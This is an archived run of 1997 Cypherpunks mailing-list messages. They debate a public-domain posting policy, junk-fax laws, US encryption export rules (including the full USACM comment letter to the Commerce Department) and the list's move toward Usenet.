> are public domain, and a draconian rule requiring authors to give up
> their rights to what they've written.

I have not required anyone to give up anything. All I have required is that
authors specificaly state that they want to retain rights to the document.
This is no more draconian than requiring a person to write a public domain
release on their text if that is their choice.

What we have now is a list where the messages come flying across my screen
and I can't use them anywhere else unless I go and get somebodies permission
first. Is that freedom of speech? Freedom of the press? Sounds more like
economic strangulation of technological and social progress and the
hindering of the spreading of knowledge.

> Do you imagine that all of the many-majordomo servers will implement
> your "public domain only" rule, or only yours? 

No, the point was that different servers could have different policies. That
hypothesis is now thoroughly proved wrong. We also now have clear evidence
that at least some of the Cypherpunk ideals are not real-world. What we have
now is the imposition of these implicit regulations across all the
remailers, in some cases against their will. This is not compromise but
rather capitulation through duress. Implicit copyright is censorship.

This realization is the reason that I dropped it for the cypherpunks list.
It was clear that pressing for server-dependant policies was not tenable.

> If the rule is intended to apply to all servers, and servers aren't
> going to be allowed into the network

I am amazed at your ability to construe things that were never stated, let
alone implied. I was under the impression that a variety of access policies
and various filtering schemes was one of the stated goals.

I also feel you give me entirely too much credit and not enough to Igor,
firebeard, and others who are involved. Whether you know it or not, they are
not straw men nor pseudonyms that I employ.

> without agreeing to implement it
> locally, um, tell me again about that "free speech" thing? Aren't you
> just taking advantage of your position as a person working on the
> many-majordomos project to impose your ideas about intellectual property
> on the rest of the list? Is such a strategy compatible with "free
> speech"? 

No more so than the imposition of copyright to hinder the free and unbridled
exchange of ideas.

> Also, how could a rule like this possibly be compatible with a Usenet
> gateway? There's no chance at all that you can expand a local rule on
> your system to all of Usenet through a gateway. 

A very good argument on why in our current system de facto copyright actualy
hinders free exchange of ideas. Thanks, I hadn't thought of that aspect.

> And Declan McCullagh wrote:
> 
> >I forward articles to cypherpunks that are copyrighted by my employers, or
> >magazines like Playboy and Wired for which I write freelance pieces. 
> >
> >I like to think these articles have some value. I will not forward any of
> >them, nor would I be able to, if they magically became "public domain."
> 
> Which are good points

Strawman arguments to cover the motives of profit driving them. I suspect
that if the magazine (who probably own the actual copyright) agreed to allow
them to be presented in total before posting would require that some sort of
explicit copyright notice be retained. I am shure the articles have some
value, a check was written for them at some point I believe.

> - also, don't forget that, from time to time,
> people have even posted code to the cpunks list, and many software
> authors like to retain copyright in their code so that they can insist
> on things like noncommercial distribtion or credit where the code is
> reused. If a work is truly "public domain", the author has no power to
> insist on those things. 

Certainly they do, put the statement in the code header - just like any
programmer with a clue is going to do now. All I am asking is that you give
me a fair shot at figuring out what you individualy want done with your
material when I see it. Should I save it for later use or simply shit-can it
because I don't want to deal with the hassle of getting permission.
Currently I shit-can just about everything for this reason unless it has
some sort of technical chart or table I can re-arrange or is related to
Advanced Squad Leader or Traveller. Does that sound like the ideal atmosphere
to expand knowledge? Is that how you want your ideas and commentary to end up?

Hell, under the current system I take a completely unwarranted risk if I do
nothing more than print out your email and then show it to somebody else.
Why? Because I don't know before hand whether that is ok with you or do you
really want to retain distribution rights. To be completely safe I need to
email you and ask permission to do that. Unacceptable restraint of speech.
The only option that leaves me is no speech because I can't afford it. Not
very cypherpunkish.

> This proposed rule seems to limit postings to those which are perceived
> by their authors to be without commercial or reputational value. Is that
> a good idea?

Not if that was what was proposed here, fortunately reality bears no
resemblance to your interpretation.

What I really find interesting is that in the 3 years SSZ has been up and
the 8 mailing lists (with about 300 subscribers total) nobody has ever
complained about the public domain policy and nobody has ever put a
copyright header on their messages. All these lists are technical and
several of them are directly involved with technical development of
projects, some for commercial apps.


                                                Jim Choate
                                                CyberTects
                                                ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John C. Randolph" <jcr@idiom.com>
Date: Fri, 14 Feb 1997 07:12:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: More on digital postage
Message-ID: <199702141512.HAA07695@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim may says:

>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>violations of the First Amendment. I understand why the herd _wants_ these
>laws, as it reduces the costs involved in replacing fax paper, running to
>the telephone only to find someone trying to sell something, etc., but it
>is quite clearly a prior restraint on speech, however well-intentioned.

I have to disagree here.  The junk fax law is a restraint on unauthorised
use of property, i.e. *my* fax machine, *my* phone, etc. 

That tort of unauthorised use of property applies, whether someone's sending
me a fax to sell me spamming software, or whether it's some kid ringing
my doorbell and running away.  It's not the speech that I'm fighting, it's 
the misuse of my property.

Freedom of speech does not confer a right to use other people's property.

-jcr








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Thu, 13 Feb 1997 17:26:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: crypto restrictions
Message-ID: <199702140126.RAA15888@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


hi guys,
i am a bit confused. what exactly are the us govt crypto regulations.
what i mean is that :

1) is it illegal to develop an encryption tool (s/w) in the US which
uses > 40 bit size session keys and then export that s/w outside of the
US.

2) is it illegal to encrypt some data inside the us with a key > 40 bit
in size and then send that data outside the US.

thanx.
anand....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 14 Feb 1997 08:11:03 -0800 (PST)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Fuck UseNet
Message-ID: <199702141611.IAA09309@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz wrote:
> alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> consiencous newsadmins probably did not honor the rmgroup, as
> alt.cypherpunks should be acceptable, but most newsadmins are too
> overworked to actually look at most of the crap that comes through.

> Therefore, it would be a Good Thing to continue any discussion on
> alt.config, and convince any cabal'ers who rmgroup it to re-new it.
> Sending out boosters every couple of weeks wouldn't hurt, either.

  So, basically, you're saying that the flight from censorship should
be toward a new CypherPunk 'home' where one is effectively censored
automatically unless one kisses the ass of a Cabal?

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 14 Feb 1997 09:00:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: USACM analysis of Commerce Dept crypto export proposals
Message-ID: <199702141700.JAA10626@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Fri, 14 Feb 1997 08:28:28 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: USACM analysis of Commerce Dept crypto export proposals

February 12, 1997


Nancy Crowe
Regulatory Policy Division
Bureau of Export Administration
Department of Commerce
Room 2705
14th Street and Pennsylvania Ave., N.W.
Washington, D.C. 20230.

Docket No. 960918265-6366-03

Dear Ms. Crowe

        The United States Public Policy Committee for the Association for
Computing (USACM) welcomes this opportunity to submit our views on the
Interim Rule issued by the Department of Commerce with regard to
"Encryption Items Transferred From the United States Munitions List to the
Commerce Control List."  The USACM believes it is in the best interest of
the U.S. government to promote the widespread use of strong encryption.
>From our perspective the Interim Rule fails to recognize the legitimate
needs and interests of academic, professional, scientific, and ordinary
users of telecommunications technology.  Thus, the Interim Rule must be
modified before it can resolve the many problems with the current export
controls on encryption technologies.

Introduction and Summary

        The Association for Computing is an international professional
society whose 76,000 members (60,000 in the U.S.) represent a critical
mass of computer scientists in education, industry, and government.  The
USACM provides a means for promoting dialogue on technology policy issues
with United States policy makers and the general public. We have
identified a number of serious problems with specific provisions of the
Interim Rule.

        As a professional society of computer scientists which produces a
number of peer-reviewed technical journals, we are concerned that the
Interim Rule will hamper both communication and education in our field.
Part 7.34.3 (b)(3) which refers to the distinction between printed and
electronic publications of cryptographic materials is unworkable under the
new paradigms of electronic publishing and communications. Electronic
media, including the World Wide Web, listserves, Usenet news groups, and
video conferencing are becoming the prominent means by which scientists
communicate.  Provisions of the Rule, specifically Parts 7.34.9 and 744.9,
which affect teaching cryptography to foreign students are vague and
contradictory.  Educational environments are not limited to academic
institutions but also occur in national and industry labs and by distance
education.  Restrictions on cryptography exports must not interfere with
the traditional freedom of access over digital networks which is
indispensable to maintain motivated and effective academic and research
communities.

        We also believe that the development of public policies and
technical standards for communications technologies, such as a Key
Recovery Infrastructure (KRI), raise vital issues of privacy,
competitiveness, and scientific innovation.  Parts 740.8 and 742.15 raise
a number of troubling issues for the computing community.  We believe it
is unwise for the Commerce Department to link relaxing export controls on
56-bit encryption to the development of a KRI as both the desirability and
the feasibility of such a system remains uncertain. Key recovery products
have not yet been subject to the vigorous testing necessary for a proposed
standard and there is little understanding of how such a system would
operate and what controls would be needed to ensure that it remained
secure.  Also, Supplement No. 7 to part 742 (which requires that
businesses who wish to export 56-bit encryption before 1998 submit a
biannual business plan for developing key recovery products) will stifle
the innovation of new cryptography technologies and discourage the process
of scientific innovation.  We believe the Commerce Department should not
promulgate regulations which prohibit U.S. research and development from
responding to market demands and limit the ability of Americans using new
on-line services to protect their privacy.

Analysis

        The USACM has identified electronic publication, education,
research and development, key recovery, and privacy as problematic areas
which need addressing.  We have outlined our concerns below:

Electronic Publishing

        It is unreasonable and unconstitutional to distinguish between
printed and electronic distribution of encryption source code as set forth
in the note to Part 7.34.3 (b)(2) and (b)(3).  A Federal Court in
California has ruled in Bernstein v. U.S. Department of State that source
code is speech and is thus protected under the first amendment.  This
distinction is also currently being challenged in a federal court in the
District of Columbia in Karn v. U.S. Department of State.  The USACM
joined the Electronic Privacy Information Center, the American Civil
Liberties Union, and the Internet Society in submitting an Amici Curiae
brief in the case which argued that such language is an impermissible
regulation aimed at the suppression of expression. As computer scientists
we see no practical reason why the Commerce Department should insist on
creating a distinction when one does not exist.

        The ACM is the publisher of numerous scientific publications and
conference proceedings.  They range from our flagship journal
Communications of the ACM (CACM) to the on-line, peer-reviewed journal
Experimental Algorithms.  All 76,000 members of ACM, including 15,000
members overseas, receive CACM by mail and have access to ACM's on-line
publications. ACM foresees a time when all its publishing will be
electronic and on-line.  At that time, it will need interoperable
encryption technology available in the U.S. and in its mirror sites abroad
to dispense its material.  Its subscribers worldwide will need access to
secure, commercial encryption as well.

        An article which described the development of a new cryptographic
algorithm would likely appear in one of the many technical journals or
conference proceedings published by ACM or the Institute for Electronics
and Electrical Engineers (IEEE), another international professional
society.  In fact a number of the groundbreaking articles in the field of
cryptography science were originally published by ACM and IEEE.
Publication of encryption algorithms is extremely important to the field
of cryptography.  In order for an algorithm to be trusted, it must be
challenged.  To do that, the code must be made widely available.  Foreign
members of ACM will be unable to access in electronic format the same
articles they currently receive in the printed journal.  And, it is
technically impossible, at this late date, to partition ACM's publications
into distinct paper and electronic (hence encryptable) media.

        Electronic communications, including the World Wide Web, list
serves, Usenet news groups, and video conferencing are becoming the
prominent means by which scientists communicate.  Science is a global
pursuit and there exists a open communications network between scientists
in different countries.  Part 734.2 which prohibits making cryptographic
software available outside the U.S. will not only eliminate this
international communication but also technical communication among U.S.
scientists.  In electronic communications it is not always clear to whom
the information is being transmitted.  WWW sites and Usenet news groups
are accessible by anyone with a modem.  Video conferences can be
retransmitted overseas and moderated listserves are difficult to control.
The Interim Rule refers to an individual taking "precautions adequate to
prevent unauthorized transfer of such code outside the U.S."  It is our
belief that it would be impossible to be certain of any precautions taken.
This will effectively eliminate all communications on electronic media
that describe or discuss cryptographic source code.

        We believe the interim rule must be revised to eliminate the
distinction between printed and electronic source code and to allow for
open communications within scientific communities.  Restricting these
communications will retard the evolution of the science and the
development of new algorithms and cryptographic devices.

Education

        Many ACM members are computer science professors and teachers, so
we are concerned about the contradictions in the proposed regulations with
regards to education.  A number of fields and sub-fields address
cryptography as part of their curricula.  Part 734.9 states that
"Educational Information" is not subject to the new regulations if it is
"released by instruction in catalog courses and associated teaching
laboratories of academic institutions." Computer science, mathematics,
engineering, and electronic security may all include technical instruction
in encryption technologies and would be covered in U.S. university
classrooms.  However, questions arise with regard to distance and home or
overseas education because of Part 744.9.  It states that "No U.S. person
may, without a license from BXA, provide technical assistance (including
training) to foreign persons with the intent to aid a foreign person in
the development or manufacture outside the United States..."  While Part
744.9 defines a U.S. person it does not define "technical assistance" or
"training."  It is uncertain whether a U.S. professor teaching a course in
which foreign students are registered, or teaching a course in
cryptography overseas would be "training" a foreigner to develop a
cryptographic device if the course work was more detailed than "a
discussion of information about cryptography."  This would affect course
studies as disparate as 'number theory' and 'local area networks'.

        Also, educational environments are not limited to academic
institutions but are also found in national and industry labs.  Many
computer scientists receive their first hands on training after they
graduate from their University.  It is unclear whether this "training" or
"technical assistance" is in violation of the Interim Rule.  The intent of
the training is give the new employee the practical tools necessary to
participate in the field of cryptography science, and is not necessarily
intended to be project or employer specific.  While the General
prohibition in Part 744.9 discusses the meaning of intent as applied to an
academic setting, it is not clear if "academic setting" can be applied to
instruction which occurs outside of the University environment.

        The argument made previously with regard to digital media also
applies to education. As part of their course work, students often use
electronic media as resources (WWW, digital libraries, CD-ROMs), as a
communication device for the class outside the classroom (electronic mail,
listserves), and to learn from listening to the discussions among research
scientists (Usenet groups, listserves).  Part 7.34.3 (b)(3) which covers
encryption source code in electronic form or media will restrict these
types of educational instruction.  Instructors will be unable to take
advantage of digital media in their courses.  Students studying
cryptography will be unfairly disadvantaged as they will be unable to
access valuable resources even in the process of furthering their
education.

        The USACM believes the contradictions in Parts 7.34 and 744.9 must
be resolved in a clear manner so educators are not required to reduce the
quality of their courses for fear of misinterpreting the Interim Rule.
Specifically, "academic setting," "training," and "technical assistance"
must be defined, and distance education, and academic research and
communication must be addressed.

Research and Development

        Encryption policies must reflect the needs of the global market.
The international demand for products which incorporate strong
cryptographic tools is growing. Such products are widely available and
produced by a number of nations.  U.S. scientists have been prominent in
the development of current encryption technologies.  The field has
developed though research and development efforts along many different
tangents, only one of which describes key recovery products.  There is
little evidence that the demand for cryptography tools is limited to those
products which incorporate key recovery protocols. Part 742.15 (which
states that businesses must submit a business plan for the development of
key recovery products before they may export 56- bit software;  the
license must be renewed biannually until 1998 when only key recovery
products will be allowed for export)  will restrict the U.S. to producing
only products which incorporate KRI protocols.

        Mandating that businesses develop key recovery products will also
impede the natural market development of novel and innovative systems.
Part 740 hypothesizes that a worldwide KRI will be desirable, feasible,
and in place by 1998.  However it is unclear whether key recovery is the
best alternative.  Research along new tangents will continue in non-
industry and non-U.S. settings.  A new protocol may be discovered which is
considered a better choice for a worldwide infrastructure.  There will
exist a great market demand for variety in choosing a security system to
fit the needs of the distinct commercial group.  If this happens U.S.
scientists and industry will be at a disadvantage as they will have only a
core competence in key recovery protocols as per Part 740.8.

        There are a variety of commercial groups interested in utilizing
the Internet for business interactions and transactions. Without
interoperable encryption programs, commercial needs in an increasing
global environment cannot be met.  Supplement No. 4 to Part 742 states
that a product can not interact with another product whose key recovery
system has been "altered, bypassed, disabled, or otherwise rendered
inoperative."  This will be a major source of problems for researchers and
educators, as well as government and commercial institutions.  The result
of a system not being able to talk to another system because of an
intentional or accidental disabling of the KRI protocols can have a very
large impact on telemedicine, research, government operations, and
commercial enterprises.

        The USACM believes the Interim Rule should be rewritten to avoid
dissuading innovation and development and eliminating the U.S.'s core
competency in cryptography.  It should also recognize the need for
consistency in interoperable systems.

Key Recovery

        The USACM recognizes that there is a real market demand for key
recovery products from business and government employers.  However, the
viability of a KRI has not yet been determined.  It has not yet been
subject to the vigorous testing necessary for a proposed standard.  There
is little understanding of how such a system would operate and what
controls would be needed to ensure that it remained secure.  Part 740
describes the development of a Key Recovery Infrastructure within two
years.  We believe it is unwise for the United States to insist on the
development of a untested, unproved technology for a worldwide
infrastructure. The National Research Council report stated that a
feasibility study needed to be performed on a smaller scale before key
escrow could be seriously proposed for commercial applications.  We
believe this warning applies to KRI as well.  While key recovery tools may
be appropriate in some settings, we believe it would be wrong to impose
such restrictions on users or businesses and the Interim Rule should not
dictate that businesses limit their research to a potentially unworkable
system.

Privacy

       The USACM believes that certain principles should be reflected in a
national cryptography policy.  Encryption should be used for privacy
protection and to encourage the development of technologies and
institutional practices which will provide real privacy for the future
users of the NII and real security for the protection of the system. The
USACM believes that transferring the regulation of cryptography to the
Commerce Department could establish United States leadership in protecting
the privacy rights of its citizens.  However the Interim Rule fails to do
that.

Conclusion

       We recognize that the government has a legitimate interest in
protecting national security. However, whether or not the worldwide
infrastructure is achieved, the role of national security agencies will
remain difficult.  The government's proposal to balance national security,
business, and privacy interests by creating a Key Recovery Infrastructure
within the next two years is overly aggressive.  We suggest that the
development of a policy that serves the long term interests of our
nation's security will not be one based on a Key Recovery Infrastructure,
but rather one that anticipates the widespread availability of strong
encryption and the multifaceted demands of a global economy.  Toward that
end, the interests in protecting open research within the U.S. academic
community will be crucial.

Sincerely,




Barbara Simons, Ph.D
Chair, United States Public Policy Office for the
Association for Computing

        The ACM, founded in 1947, is an international non-profit
educational and scientific society dedicated to the development and use of
information technology, and to addressing the impact information
technology has on the world's major social challenges. The Association's
activities include the publication of scholarly journals and the
sponsorship of special interest groups (SIGS) in numerous disciplines. ACM
has 76,000 members.  The 60,000 who reside in the United States are
academic, professional, scientific, and ordinary users of
telecommunications technology and have a strong interest in the
development of sound encryption policies. The USACM provides a means for
promoting dialogue on technology policy issues with United States policy
makers and the general public. We respond to requests for information and
technical expertise from United States government agencies and
departments, seeks to influence relevant United States government policies
on behalf of the computing community and the public, and provides
information to the ACM on relevant United States government activities.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derek Atkins <warlord@MIT.EDU>
Date: Fri, 14 Feb 1997 07:11:12 -0800 (PST)
To: anand abhyankar <anand@querisoft.com>
Subject: Re: crypto restrictions
Message-ID: <199702141511.HAA07618@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


anand abhyankar <anand@querisoft.com> writes:

> 1) is it illegal to develop an encryption tool (s/w) outside the US
> which uses > 40 bit size session keys and then import that s/w inside of
> the US.

Not currently.

-derek

-- 
       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
       Member, MIT Student Information Processing Board  (SIPB)
       URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
       warlord@MIT.EDU                        PGP key available





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 14 Feb 1997 07:11:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702141511.HAA07640@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:
>        But the veteran cypherpunk came under heavy fire in November 1996,
>    when a loudmouthed flamer flooded the list with flame bait and ad
>    hominem attacks on various members. Finally, Gilmore, ironically, gave
>    him the boot [...]
>
>        Indeed, for months Gilmore seemed unable to do anything right. He
>    tried moderation, which proved to be even more contentious, [...]
>    
>        After the expulsion, some of the longtime list denizens left
>    angrily, joining the 700 subscribers who had departed since the
>    controversy began. One of those was Tim C. May, a crusty former Intel
>    engineer who prides himself as the organizer of the first cypherpunk
>    meeting in September 1992. 

Tim left when the moderation experiment started, not after John
unsubscribed Dimitri, and blocked him from re-subscribing.

What does `crusty' mean as applied to a former Intel engineer?

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@magna.com.au>
Date: Thu, 13 Feb 1997 15:26:38 -0800 (PST)
To: perry@piermont.com
Subject: Re: Transmission of Crypto material and ITAR
Message-ID: <199702132326.PAA13573@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>The answer is that no one knows, but if the doctrines that apply to
>cargo in transit between countries applied, there would be no
>consequence to it. Of course, that doesn't mean that there will not be
>consequences associated with this given U.S. governmental insanity.

Or it could be dealt with differently, as with a ship that docks for
refueling carrinyg munitions (a catergory shared with crypto), or nuclear
waste (not quite, but you get my point...)

Ben

----------------------------------------------------------------
  Benjamin Grosman - Programmer, Magna Data Internet Solutions
  Quidquid latine dictum sit, altum viditur.
                  [Whatever is said in Latin sounds profound.]
----------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 15:28:26 -0800 (PST)
To: "John C. Randolph" <cypherpunks@toad.com
Subject: Re: More on digital postage
Message-ID: <199702142328.PAA17058@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:31 AM -0800 2/14/97, John C. Randolph wrote:
>Tim may says:
>
>>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>>violations of the First Amendment. I understand why the herd _wants_ these
>>laws, as it reduces the costs involved in replacing fax paper, running to
>>the telephone only to find someone trying to sell something, etc., but it
>>is quite clearly a prior restraint on speech, however well-intentioned.
>
>I have to disagree here.  The junk fax law is a restraint on unauthorised
>use of property, i.e. *my* fax machine, *my* phone, etc.
>
>That tort of unauthorised use of property applies, whether someone's sending
>me a fax to sell me spamming software, or whether it's some kid ringing
>my doorbell and running away.  It's not the speech that I'm fighting, it's
>the misuse of my property.
>
>Freedom of speech does not confer a right to use other people's property.

Fair enough, John. I can agree that _tort law_ (civil) might be used. If
Party A can convince a jury that Party B did it real damage and can
quantify that damage, maybe Party A can collect.

My main objection is to to blanket laws, known as "junk mail" laws. The
rules for what constitutes "junk" are unclear and give the government
regulatory power which I think it should not have.

Imagine a bureaucrat deciding that solicitations to join the National Rifle
Association are "junk" and ordering the U.S. Postal Service to scrap all
such solicitations. Imagine further that alternate delivery systems, such
as UPS and FedEx are also notified that delivery of NRA material constitute
a crime.

(This is not so far-fetched, especially the "alternate delivery" point. If
the regulators declare a communication to be junk, it remains junk even if
delivered via a different route. If CyberPromotions tries fiddling with the
domain names, as they have, it remains junk to CompuServe and to the
District Court which upholds their decision to censor mail to customers.)

To paraphrase what the CompuServe customer said: "I'll decide what's junk
and what's not."

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 08:59:26 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Private property & the cypherpunks list(s)
Message-ID: <199702141659.IAA10584@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com allegedly said:
> 
> Firebeard wrote:
> > 
> > >>>>> Igor Chudov @ home writes:
> > 
> > IC> This is where the distributed nature of the list comes in.  if
> > IC> someone disagrees with Jim's AUP, he or she can use soem other
> > IC> mailing list host.
> > 
> > 	And once I'm up and running, my cypherpunks list server will
> > not be interconnected with any server which has a similar AUP.  The
> > implication of the AUP is that if you _don't_ comply with it, you will
> > be blocked.  Without such an implication, the AUP is meaningless, and
> > I'm dedicated that there should be no filtering/blocking of any kind,
> > of the list.  Persons behaving 'unacceptably' should be handled by
> > social pressures by others in the 'community' of the list, and not by
> > policies of the list operators.
> 
> Which is, again, a perfectly fine idea.
> 
> I would probably disconnect from any server that 
> 
> a) does not let certain messages go through (unless they are fighting a DOS
> attack) and
> b) Alters content of any messages.
> 

I can understand this sentiment, given the events of the past couple 
of months, but it seems short-sighted.  If this scheme grows there 
could be several hundred or more mailers involved, and there is no 
technical reason why moderated lists couldn't be included.

Remember that each list operator actually represents a community of 
users, users who are *free* to go elsewhere if they choose.  Clearly, 
some people would chose to populate a filtered list.  There is no 
reason whatsoever to discriminate against them.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <trei@process.com>
Date: Fri, 14 Feb 1997 07:13:00 -0800 (PST)
To: anand abhyankar <cypherpunks@toad.com
Subject: Re: crypto restrictions
Message-ID: <199702141513.HAA07700@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Fri, 14 Feb 1997 11:51:18 -0800
> From:          anand abhyankar <anand@querisoft.com>
> To:            cypherpunks@toad.com
> Subject:       Re: crypto restrictions

> Jeremiah A Blatz wrote:
> 
> thanx for ur answer but then i have another question.
> 
> 1) is it illegal to develop an encryption tool (s/w) outside the US
> which uses > 40 bit size session keys and then import that s/w inside of
> the US.
> 
> anand....

No.


Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Fri, 14 Feb 1997 08:58:53 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702141658.IAA10569@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk wrote:
> > > It is too late to stop alt.cypherpunks, but if I had to make a
> > > prediction again, I would predict that soon posters will BEG to help
> > > them create comp.*.cypherpunks, because of spam and alt.flamage.
> > 
> > Timmy has a valid point: the reason why a comp.* newsgroup might have less
> > cross-posted and "off-topic" crap is because net.cops would be more
> > likely to complain to posters' sysadmins. Having a charter state that
> > cypherpunks have technical means to ignore traffic they don't like,
> > and don't need anyone forging cancels or complaining to sysadmins
> > or otherwise getting silenced, is a good idea.
> 
> I don`t believe for one moment that, however well intentioned such a 
> move would be, it would work. The most notorious net.cops who 
> thoroughly deserve the (spit) after their name would take little 
> notice of such a charter and take it upon themselved to "act in the 
> best interests of the usenet community"

That is not necessarily true.

I asked Chris Lewis to not cancel any articles in
soc.culture.russian.moderated (of which I am one of moderators) and it
did not cause any problem. I was very pleased by his reaction.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Fri, 14 Feb 1997 15:27:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142327.PAA16974@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin writes:

> Just for the record.  I will not post to USENET given the spamming that
> seems to go to IDs that appear there.  

Helpful hint:  Mung your email address in a way which will confuse
bots, but not humans.  

"From: froomkin@[NO-SPAM]law.miami.edu" should work nicely.  This will
also eliminate mail from very clueless people.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 14 Feb 1997 15:28:18 -0800 (PST)
To: John Gilmore <declan@well.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702142328.PAA17039@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


My first reaction to the "Death of Cypherpunks" (Declan McCullagh's
article in http://netlynews.com Feb 12, 1997) is that it is another
example of "The Tragedy of the Commons." -- the (unsolvable) problem
of unlimited access to a limited resource. Cypherpunks was also
susceptable to the strange Internet phenomenon where people could be
proud of their anti-social, bad behavior (flame wars, "grafitti" in the
form of spam). For this reason, I suspect that the future of the Internet
in general, and Cyphperpunks in particular, will require serious editorial
control (as is done by the Risks and Privacy digests).

The only other alternative I can see would be to limit membership
-- but not limit what members might write. In the long term, I suppose
we'll have sufficiently intelligent software agents that can recognize
spam and flaming and invisibly delete them from our e-mail in-boxes.

What bothers me more than anything else about the "solutions" I've
seen proposed to the death of Cypherpunks is that they rely on
technology -- and reject human judgement -- to solve what is, in
reality, a social problem.  (One can certainly make the same argument
about the V-chip, browser porn filters, and similar hacks.)

Having been "on" the net for over 15 years -- and with experience
in both ends of the censorship/moderation problem  (I'm probably
the only Cypherpunks member to have had a book "banned in Boston"),
I'm sorry that a handful of sociopaths managed to destroy this
experiment in anarchy, but I suspect that this was inevitable.

Martin Minow
minow@apple.com

ps: (From McCullagh):
>       But for the true believers in crypto-anarchy, only one solution is
>   adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no
>   precedent... for halting distribution of Usenet newsgroups," Tim May
>   wrote. That, in the end, is what defines a cypherpunk.
>
Nope: alt.cypherpunks will not be distributed to many sites that would
accept an e-mail list. Also, it's too easy for the disgruntled to forge
cancel group messages. I'm afraid that human judgement is still required.










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fred Condo <fred@lightside.net>
Date: Sat, 15 Feb 1997 09:26:03 -0800 (PST)
To: cryptography@c2.net
Subject: Re: Waiting for Mac version [was Re: Full strength Email Clients]
Message-ID: <199702151726.JAA27024@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 3:30 PM -0800 2/13/97, P.J. Westerhof wrote:
>At 12:10 7-02-97 -0500, Timothy Hill wrote:
>>Meanwhile, a beta version of "Pretty Safe Mail"
>><http://www.highware.com/highware/PSM/safemail.htm> is available from
>>Highware in Belgium.  It's PGP compatible, and its user interface is a
>>great leap forward from any Mac PGP front end I've seen.  But, it still has
>>some deficiencies, it's very slow (25 seconds to sign this message on a 25
>>MHz 68040 vs. 4 seconds for ViaCrypt PGP 2.7.1), and (as was recently
>>discussed on a couple of these lists) its source code hasn't been published
>>or externally audited.
>
>And today - one week later - *no* version is currently available.
>I would say this adds to the reservations some of us may have had about PSM.
